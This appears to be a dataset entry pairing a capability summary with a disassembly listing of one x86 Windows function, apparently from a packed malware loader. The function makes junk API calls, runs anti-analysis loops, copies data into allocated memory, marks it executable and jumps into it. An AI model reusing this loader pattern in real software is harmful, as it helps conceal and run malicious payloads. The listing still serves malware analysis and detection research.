Function at 0x401000
Capabilities:
Access the windows event log
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
cmp dword [ebp - 0x50], 0x159
push ebx
push esi
push edi
jne 0x4011b3
mov ecx, 0x41a8a0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401020
sub ecx, edx
cmp ecx, 0x216
jbe 0x4011b3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
push 0
push 0
push 0
call edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
push 0
push 0
push 0
push 0
push str.fasomahexiwo.jpg
push 0
call dword [sym.imp.USER32.dll_LoadImageW]
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetScrollRange]
mov ebx, dword [sym.imp.USER32.dll_SetScrollRange]
push 0
push 0
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call esi
test eax, eax
jne 0x4010ae
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push eax
push eax
call esi
jmp 0x4010b6
call esi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorLength]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorControl]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorDacl]
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
push 0
push 0
push 0
call edi
push dword [ebp - 0x10]
push 0
push 0
push 0x41a8a0
call fcn.004055c7
add esp, 0x10
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
call fcn.00401b00
push dword [ebp - 0x10]
mov esi, dword [ebp - 0x24]
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push esi
call fcn.004014d0
push 0
mov dword [ebp - 0x20], esi
call fcn.00405372
push 0
call fcn.0040536d
movsd xmm0, qword [0x4132b8]
add esp, 0x10
movsd qword [esp], xmm0
push 0x64
push 0x4131e4
push str._s__c__f
push 0x41a8a0
call fcn.00401b60
push str.muyaficigotehegozuzi_kiladiyifuti_lolarivusa
push 0x41a8a0
call fcn.00401b60
add esp, 0x20
lea ecx, [ebp - 0x24]
call fcn.00401550
mov edi, dword [0x41a010]
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov dword [ebp - 0x10], edi
lea eax, [ebp - 0x2c]
push eax
push 0
call ebx
lea eax, [ebp - 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
cmp esi, 0xf549b
jle 0x401213
cmp dword [ebp - 0x2c], 0x23b74f
je 0x401213
cmp dword [ebp - 0x38], 0x25caa81d
je 0x401213
cmp dword [ebp - 8], 0x1cecd011
jne 0x401220
add esi, 2
cmp esi, 0x1653e7d
jl 0x4011c4
jmp 0x40128f
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0xc81c50
mov dword [0x41a898], eax
call fcn.0040537d
add esp, 4
push str.kernel
push 0x41aca0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x41a8a0
mov dword [0x41a8a6], 0x642e3233
mov word [0x41a8aa], 0x6c6c
mov byte [0x41a8ac], 0
mov dword [0x41aca0], 0x4c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0
mov dword [0x41a898], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x41b6ac], eax
mov eax, dword [section..data]
mov dword [ebp - 0xc], eax
mov eax, dword [0x41a00c]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0x10
add dword [ebp - 4], 0x10
xor esi, esi
test edi, edi
je 0x401307
mov ebx, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test esi, esi
jne 0x4012be
push esi
push esi
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
push 0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp - 8]
mov cl, byte [eax + esi + 0x932]
mov eax, dword [0x41b6ac]
mov byte [eax + esi], cl
cmp esi, 0xa
jne 0x401302
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 4]
add eax, eax
push eax
push edi
push dword [0x41b6ac]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, edi
jb 0x4012b6
push dword [ebp - 0xc]
lea eax, [ebp - 0x10]
push eax
push dword [0x41b6ac]
call fcn.00401490
add esp, 0xc
call dword [0x41b6ac]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [0x41b6b8]
mov eax, dword fs:[0x2c]
push 0x25
push str.xuxogosuwabucugagehefamiha_cezahazufi
mov dword [ebp - 0x44], 0xf
mov eax, dword [eax + ecx*4]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
mov dword [eax + 4], 1
call fcn.004018b0
mov eax, dword [ebp - 0x44]
cmp eax, 0x10
jb 0x4013aa
mov ecx, dword [ebp - 0x58]
inc eax
cmp eax, 0x1000
jb 0x4013a1
test cl, 0x1f
jne 0x4013b5
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x4013ba
sub ecx, eax
cmp ecx, 4
jb 0x4013bf
cmp ecx, 0x23
ja 0x4013c4
mov ecx, eax
push ecx
call fcn.00401d67
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.0040531d
call fcn.0040531d
call fcn.0040531d
call fcn.0040531d
int3